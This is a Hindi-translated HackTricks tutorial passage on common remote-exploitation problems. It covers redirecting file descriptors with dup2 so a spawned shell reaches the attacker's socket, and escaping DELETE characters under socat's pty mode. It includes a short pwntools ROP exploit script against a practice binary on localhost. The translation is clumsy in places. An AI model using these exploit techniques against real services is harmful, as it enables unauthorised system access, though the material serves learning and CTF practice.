hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md

4.9 KiB

सामान्य अनुशासन समस्याएं

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

दूरस्थ शोषण में एफडीs

जब एक एक्सप्लॉइट को एक रिमोट सर्वर पर भेजा जाता है जो system('/bin/sh') को कॉल करता है, तो यह सर्वर प्रक्रिया में निष्पादित होगा, और /bin/sh stdin से इनपुट की उम्मीद करेगा (FD: 0) और stdout और stderr में आउटपुट प्रिंट करेगा (FDs 1 और 2)। इसलिए हमलावर शैली से शैल से संवाद करने में सक्षम नहीं होगा।

इसे ठीक करने का एक तरीका यह है कि समझा जाए कि जब सर्वर शुरू हुआ तो यहने FD नंबर 3 (सुनने के लिए) बनाया था और फिर, आपका कनेक्शन FD नंबर 4 में होगा। इसलिए, यह संभावना है कि सिस्टम कॉल dup2 का उपयोग करना है ताकि stdin (FD 0) और stdout (FD 1) को FD 4 में डुप्लिकेट किया जा सके (हमलावर के कनेक्शन का एक) इसलिए इसे निष्पादित होने पर शैल से संपर्क करने में सक्षम होगा।

यहाँ से एक्सप्लॉइट उदाहरण देखें:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat और pty

ध्यान दें कि socat पहले से ही stdin और stdout को सॉकेट पर स्थानांतरित कर देता है। हालांकि, pty मोड DELETE वर्णों को शामिल करता है। इसलिए, अगर आप \x7f ( DELETE -) भेजते हैं तो यह आपके एक्सप्लॉइट के पिछले वर्ण को हटा देगा

इसे इसको अनदर गुम करने के लिए भागने वाला वर्ण \x16 किसी भी \x7f के साथ भेजा जाना चाहिए।

यहाँ आप इस व्यवहार का एक उदाहरण पा सकते हैं